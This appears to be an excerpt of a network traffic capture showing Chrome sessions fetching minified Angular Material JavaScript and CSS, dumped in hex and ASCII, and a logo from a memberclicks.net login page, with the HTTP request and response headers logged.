2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 6f 76 65 28 75 29 2c 65 2e 5f 6e 67 5a 6f 6e 65 2e 72 75 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 2e 6e 65 78 74 28 7b 74 61 72 67 65 74 3a 74 2e 74 61 72 67 65 74 2c 69 73 41 75 74 6f 66 69 6c 6c 65 64 3a 21 31 7d 29 7d 29 29 3a 28 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 75 29 2c 65 2e 5f 6e 67 5a 6f 6e 65 2e 72 75 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 2e 6e 65 78 74 28 7b 74 61 72 67 65 74 3a 74 2e 74 61 72 67 65 74 2c 69 73 41 75 74 6f 66 69 6c 6c 65 64 3a 21 30 7d 29 7d 29 29 7d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 6e 67 5a 6f 6e 65 2e 72 75 6e 4f 75 74 73 69 64 65 41 6e 67 75 6c 61 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 6e 69 6d Data Ascii: ove(u),e._ngZone.run(function(){return i.next({target:t.target,isAutofilled:!1})})):(n.classList.add(u),e._ngZone.run(function(){return i.next({target:t.target,isAutofilled:!0})}))};return this._ngZone.runOutsideAngular(function(){n.addEventListener("anim
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6d 61 78 52 6f 77 73 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 6d 61 78 52 6f 77 73 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 6d 61 78 52 6f 77 73 3d 74 2c 74 68 69 73 2e 5f 73 65 74 4d 61 78 48 65 69 67 68 74 28 29 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 61 62 6c 65 64 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 65 6e 61 62 6c 65 64 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 Data Ascii: eProperty(t.prototype,"maxRows",{get:function(){return this._maxRows},set:function(t){this._maxRows=t,this._setMaxHeight()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"enabled",{get:function(){return this._enabled},set:function(t){t
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 7d 29 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 67 4f 6e 44 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 65 64 2e 6e 65 78 74 28 29 2c 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 65 64 2e 63 6f 6d 70 6c 65 74 65 28 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 61 63 68 65 54 65 78 74 61 72 65 61 4c 69 6e 65 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 74 68 69 73 2e 5f 63 61 63 68 65 64 4c 69 6e 65 48 65 69 67 68 74 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 74 65 78 74 61 72 65 61 45 6c 65 6d 65 6e 74 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 31 29 3b 74 2e 72 6f 77 73 3d 31 2c 74 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 74 2e 73 74 79 6c 65 2e 76 Data Ascii: }))},t.prototype.ngOnDestroy=function(){this._destroyed.next(),this._destroyed.complete()},t.prototype._cacheTextareaLineHeight=function(){if(!this._cachedLineHeight){var t=this._textareaElement.cloneNode(!1);t.rows=1,t.style.position="absolute",t.style.v
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 5f 70 72 65 76 69 6f 75 73 4d 69 6e 52 6f 77 73 3d 74 68 69 73 2e 5f 6d 69 6e 52 6f 77 73 7d 7d 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 5f 69 6e 69 74 69 61 6c 48 65 69 67 68 74 26 26 28 74 68 69 73 2e 5f 74 65 78 74 61 72 65 61 45 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 74 68 69 73 2e 5f 69 6e 69 74 69 61 6c 48 65 69 67 68 74 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 6e 6f 6f 70 49 6e 70 75 74 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 63 72 6f 6c 6c 54 6f 43 61 72 65 74 50 6f 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 65 Data Ascii: _previousMinRows=this._minRows}}},t.prototype.reset=function(){void 0!==this._initialHeight&&(this._textareaElement.style.height=this._initialHeight)},t.prototype._noopInputHandler=function(){},t.prototype._scrollToCaretPosition=function(t){this._destroye
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 74 68 69 73 2e 5f 6d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 46 61 63 74 6f 72 79 3d 74 2c 74 68 69 73 2e 5f 6f 62 73 65 72 76 65 64 45 6c 65 6d 65 6e 74 73 3d 6e 65 77 20 4d 61 70 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 67 4f 6e 44 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 5f 6f 62 73 65 72 76 65 64 45 6c 65 6d 65 6e 74 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 74 2e 5f 63 6c 65 61 6e 75 70 4f 62 73 65 72 76 65 72 28 6e 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 62 73 65 72 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 Data Ascii: s=function(){function t(t){this._mutationObserverFactory=t,this._observedElements=new Map}return t.prototype.ngOnDestroy=function(){var t=this;this._observedElements.forEach(function(e,n){return t._cleanupObserver(n)})},t.prototype.observe=function(t){var
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 2e 6d 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 3d 21 31 2c 74 68 69 73 2e 5f 63 75 72 72 65 6e 74 53 75 62 73 63 72 69 70 74 69 6f 6e 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 64 69 73 61 62 6c 65 64 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 3d 4f 62 6a 65 63 74 28 6f 2e 61 29 28 74 29 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 3f 74 68 69 73 2e 5f 75 6e 73 75 62 73 63 72 69 62 65 28 29 3a 74 68 69 73 2e 5f 73 75 62 73 63 72 69 62 65 28 29 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 Data Ascii: .m,this._disabled=!1,this._currentSubscription=null}return Object.defineProperty(t.prototype,"disabled",{get:function(){return this._disabled},set:function(t){this._disabled=Object(o.a)(t),this._disabled?this._unsubscribe():this._subscribe()},enumerable:!
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 7d 5b 64 69 72 3d 72 74 6c 5d 20 2e 6d 61 74 2d 69 63 6f 6e 2d 72 74 6c 2d 6d 69 72 72 6f 72 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2d 31 2c 31 29 7d 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 3a 6e 6f 74 28 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 61 70 70 65 61 72 61 6e 63 65 2d 6c 65 67 61 63 79 29 20 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 70 72 65 66 69 78 20 2e 6d 61 74 2d 69 63 6f 6e 2c 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 3a 6e 6f 74 28 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 61 70 70 65 61 72 61 6e 63 65 2d 6c 65 67 61 63 79 29 20 2e 6d 61 74 2d 66 6f 72 6d 2d 66 69 65 6c 64 2d 73 75 66 66 69 78 20 2e 6d 61 74 2d 69 63 6f Data Ascii: eight:inherit;width:inherit}[dir=rtl] .mat-icon-rtl-mirror{transform:scale(-1,1)}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-ico
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 5f 66 6f 63 75 73 4d 6f 6e 69 74 6f 72 2e 73 74 6f 70 4d 6f 6e 69 74 6f 72 69 6e 67 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 52 65 66 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 63 75 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 67 65 74 48 6f 73 74 45 6c 65 6d 65 6e 74 28 29 2e 66 6f 63 75 73 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 48 6f 73 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 52 65 66 2e 6e 61 74 69 76 65 45 6c 65 6d 65 6e 74 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 52 69 70 70 6c 65 44 69 73 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 69 73 61 62 6c 65 52 69 70 70 6c 65 7c 7c Data Ascii: _focusMonitor.stopMonitoring(this._elementRef)},e.prototype.focus=function(){this._getHostElement().focus()},e.prototype._getHostElement=function(){return this._elementRef.nativeElement},e.prototype._isRippleDisabled=function(){return this.disableRipple\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.6	49936	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:05 UTC	712	OUT	GET /ui-login/v1/dist/7.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:05 UTC	780	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 33436 Connection: close x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen access-control-allow-origin: * access-control-allow-methods: GET, POST, DELETE, PUT, OPTIONS access-control-allow-headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token Cache-Control: public, max-age=3600 last-modified: Wed, 06 Dec 2023 13:58:57 GMT etag: W/"829c-18c3f6cb0e8" CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:05 GMT Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 878eafd37fa253be-ATL
2024-04-23 14:54:05 UTC	589	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 5d 2c 7b 22 66 2b 65 70 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 72 28 6e 29 3b 76 61 72 20 6c 3d 74 28 22 43 63 6e 47 22 29 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 28 29 2c 61 3d 74 28 22 70 4d 6e 53 22 29 2c 6f 3d 74 28 22 4d 72 2b 58 22 29 2c 72 3d 74 28 22 53 4d 73 6d 22 29 2c 63 3d 74 28 22 46 56 53 79 22 29 2c 75 3d 74 28 22 49 70 30 52 22 29 2c 73 3d 74 28 22 5a 59 43 69 22 29 2c 64 3d 74 28 22 6c 7a 6c 6a 22 29 2c 62 3d 74 28 22 64 4a 72 4d 22 29 2c 6d 3d 74 28 22 73 65 Data Ascii: (window.webpackJsonp=window.webpackJsonp\|\|[]).push([[7],{"f+ep":function(e,n,t){"use strict";t.r(n);var l=t("CcnG"),i=function(){return function(){}}(),a=t("pMnS"),o=t("Mr+X"),r=t("SMsm"),c=t("FVSy"),u=t("Ip0R"),s=t("ZYCi"),d=t("lzlj"),b=t("dJrM"),m=t("se
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 29 2c 49 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 28 29 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 52 65 66 3d 65 7d 7d 28 29 2c 71 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 74 2c 69 2c 61 2c 6f 2c 72 2c 63 29 7b 76 61 72 20 75 3d 65 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 75 2e 5f 63 68 61 6e 67 65 44 65 74 65 63 74 6f 72 52 65 66 3d 74 2c 75 2e 5f 66 6f 63 75 73 4d 6f 6e 69 74 6f 72 3d 69 2c 75 2e 5f 6e 67 5a 6f 6e 65 3d 61 2c 75 2e 5f 63 6c 69 63 6b 41 63 74 69 6f 6e 3d 72 2c 75 2e 5f 61 6e 69 6d 61 74 69 6f 6e 4d 6f 64 65 3d 63 Data Ascii: ),I=function(){return function(){}}(),S=function(){return function(e){this._elementRef=e}}(),q=function(e){function n(n,t,i,a,o,r,c){var u=e.call(this,n)\|\|this;return u._changeDetectorRef=t,u._focusMonitor=i,u._ngZone=a,u._clickAction=r,u._animationMode=c
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 6f 72 43 68 65 63 6b 28 29 29 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 22 64 69 73 61 62 6c 65 64 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 28 76 2e 61 29 28 65 29 3b 6e 21 3d 3d 74 68 69 73 2e 64 69 73 61 62 6c 65 64 26 26 28 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 64 3d 6e 2c 74 68 69 73 2e 5f 63 68 61 6e 67 65 44 65 74 65 63 74 6f 72 52 65 66 2e 6d 61 72 6b 46 6f 72 43 68 65 63 6b 28 29 29 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 Data Ascii: orCheck())},enumerable:!0,configurable:!0}),Object.defineProperty(n.prototype,"disabled",{get:function(){return this._disabled},set:function(e){var n=Object(v.a)(e);n!==this.disabled&&(this._disabled=n,this._changeDetectorRef.markForCheck())},enumerable:!
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 6f 6e 43 6c 61 73 73 3d 74 68 69 73 2e 5f 67 65 74 41 6e 69 6d 61 74 69 6f 6e 43 6c 61 73 73 46 6f 72 43 68 65 63 6b 53 74 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 28 6e 2c 65 29 2c 74 68 69 73 2e 5f 63 75 72 72 65 6e 74 43 68 65 63 6b 53 74 61 74 65 3d 65 2c 74 68 69 73 2e 5f 63 75 72 72 65 6e 74 41 6e 69 6d 61 74 69 6f 6e 43 6c 61 73 73 2e 6c 65 6e 67 74 68 3e 30 29 29 7b 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 74 68 69 73 2e 5f 63 75 72 72 65 6e 74 41 6e 69 6d 61 74 69 6f 6e 43 6c 61 73 73 29 3b 76 61 72 20 6c 3d 74 68 69 73 2e 5f 63 75 72 72 65 6e 74 41 6e 69 6d 61 74 69 6f 6e 43 6c 61 73 73 3b 74 68 69 73 2e 5f 6e 67 5a 6f 6e 65 2e 72 75 6e 4f 75 74 73 69 64 65 41 6e 67 75 6c 61 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 Data Ascii: onClass=this._getAnimationClassForCheckStateTransition(n,e),this._currentCheckState=e,this._currentAnimationClass.length>0)){t.classList.add(this._currentAnimationClass);var l=this._currentAnimationClass;this._ngZone.runOutsideAngular(function(){setTimeou
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 74 3d 22 75 6e 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 65 64 22 3b 65 6c 73 65 7b 69 66 28 6e 21 3d 43 2e 49 6e 64 65 74 65 72 6d 69 6e 61 74 65 29 72 65 74 75 72 6e 22 22 3b 74 3d 22 75 6e 63 68 65 63 6b 65 64 2d 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 22 7d 62 72 65 61 6b 3b 63 61 73 65 20 43 2e 55 6e 63 68 65 63 6b 65 64 3a 74 3d 6e 3d 3d 3d 43 2e 43 68 65 63 6b 65 64 3f 22 75 6e 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 65 64 22 3a 22 75 6e 63 68 65 63 6b 65 64 2d 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 43 2e 43 68 65 63 6b 65 64 3a 74 3d 6e 3d 3d 3d 43 2e 55 6e 63 68 65 63 6b 65 64 3f 22 63 68 65 63 6b 65 64 2d 75 6e 63 68 65 63 6b 65 64 22 3a 22 63 68 65 63 6b 65 64 2d 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 22 3b 62 Data Ascii: t="unchecked-checked";else{if(n!=C.Indeterminate)return"";t="unchecked-indeterminate"}break;case C.Unchecked:t=n===C.Checked?"unchecked-checked":"unchecked-indeterminate";break;case C.Checked:t=n===C.Unchecked?"checked-unchecked":"checked-indeterminate";b
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 74 65 28 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 2d 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 6d 61 72 6b 7b 66 72 6f 6d 7b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 34 2c 30 2c 30 2c 31 29 3b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 63 68 65 Data Ascii: te(0)}to{opacity:0;transform:rotate(45deg)}}@keyframes mat-checkbox-indeterminate-checked-checkmark{from{animation-timing-function:cubic-bezier(.14,0,0,1);opacity:0;transform:rotate(45deg)}to{opacity:1;transform:rotate(360deg)}}@keyframes mat-checkbox-che
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 7b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 61 75 74 6f 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 61 75 74 6f 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 61 75 74 6f 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 61 75 74 6f 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 69 6e 6e 65 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 6d 61 72 67 69 Data Ascii: cal-align:middle;display:inline-flex;white-space:nowrap}.mat-checkbox-label{-webkit-user-select:auto;-moz-user-select:auto;-ms-user-select:auto;user-select:auto}.mat-checkbox-inner-container{display:inline-block;height:16px;line-height:0;margin:auto;margi
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 6b 62 6f 78 2d 69 6e 6e 65 72 2d 63 6f 6e 74 61 69 6e 65 72 3a 68 6f 76 65 72 20 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 70 65 72 73 69 73 74 65 6e 74 2d 72 69 70 70 6c 65 7b 6f 70 61 63 69 74 79 3a 30 7d 40 6d 65 64 69 61 20 28 68 6f 76 65 72 3a 6e 6f 6e 65 29 7b 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 69 6e 6e 65 72 2d 63 6f 6e 74 61 69 6e 65 72 3a 68 6f 76 65 72 20 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 70 65 72 73 69 73 74 65 6e 74 2d 72 69 70 70 6c 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 63 68 65 63 6b 6d 61 72 6b 7b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e Data Ascii: kbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:0}@media (hover:none){.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{display:none}}.mat-checkbox-checkmark{top:0;left:0;right:0;bottom:0;position:absolute;width:100%}.
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 6f 78 2d 61 6e 69 6d 2d 75 6e 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 65 64 20 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 61 6e 69 6d 61 74 69 6f 6e 3a 31 38 30 6d 73 20 6c 69 6e 65 61 72 20 30 73 20 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 66 61 64 65 2d 69 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 61 6e 69 6d 2d 75 6e 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 65 64 20 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 63 68 65 63 6b 6d 61 72 6b 2d 70 61 74 68 7b 61 6e 69 6d 61 74 69 6f 6e 3a 31 38 30 6d 73 20 6c 69 6e 65 61 72 20 30 73 20 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 75 6e 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 65 64 2d 63 68 65 63 6b 6d 61 72 6b 2d 70 61 74 68 7d 2e 6d 61 74 2d 63 68 65 Data Ascii: ox-anim-unchecked-checked .mat-checkbox-background{animation:180ms linear 0s mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-checked .mat-checkbox-checkmark-path{animation:180ms linear 0s mat-checkbox-unchecked-checked-checkmark-path}.mat-che
2024-04-23 14:54:05 UTC	1369	IN	Data Raw: 67 72 6f 75 6e 64 7b 61 6e 69 6d 61 74 69 6f 6e 3a 31 38 30 6d 73 20 6c 69 6e 65 61 72 20 30 73 20 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 66 61 64 65 2d 6f 75 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 61 6e 69 6d 2d 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 2d 75 6e 63 68 65 63 6b 65 64 20 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 6d 69 78 65 64 6d 61 72 6b 7b 61 6e 69 6d 61 74 69 6f 6e 3a 2e 33 73 20 6c 69 6e 65 61 72 20 30 73 20 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 69 6e 64 65 74 65 72 6d 69 6e 61 74 65 2d 75 6e 63 68 65 63 6b 65 64 2d 6d 69 78 65 64 6d 61 72 6b 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 2d 69 6e 70 75 74 7b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 35 30 25 7d 2e 6d 61 74 2d 63 68 65 63 6b 62 6f 78 Data Ascii: ground{animation:180ms linear 0s mat-checkbox-fade-out-background}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-mixedmark{animation:.3s linear 0s mat-checkbox-indeterminate-unchecked-mixedmark}.mat-checkbox-input{bottom:0;left:50%}.mat-checkbox

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.6	49939	104.17.140.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:05 UTC	523	OUT	GET /assets/site/logo.png HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
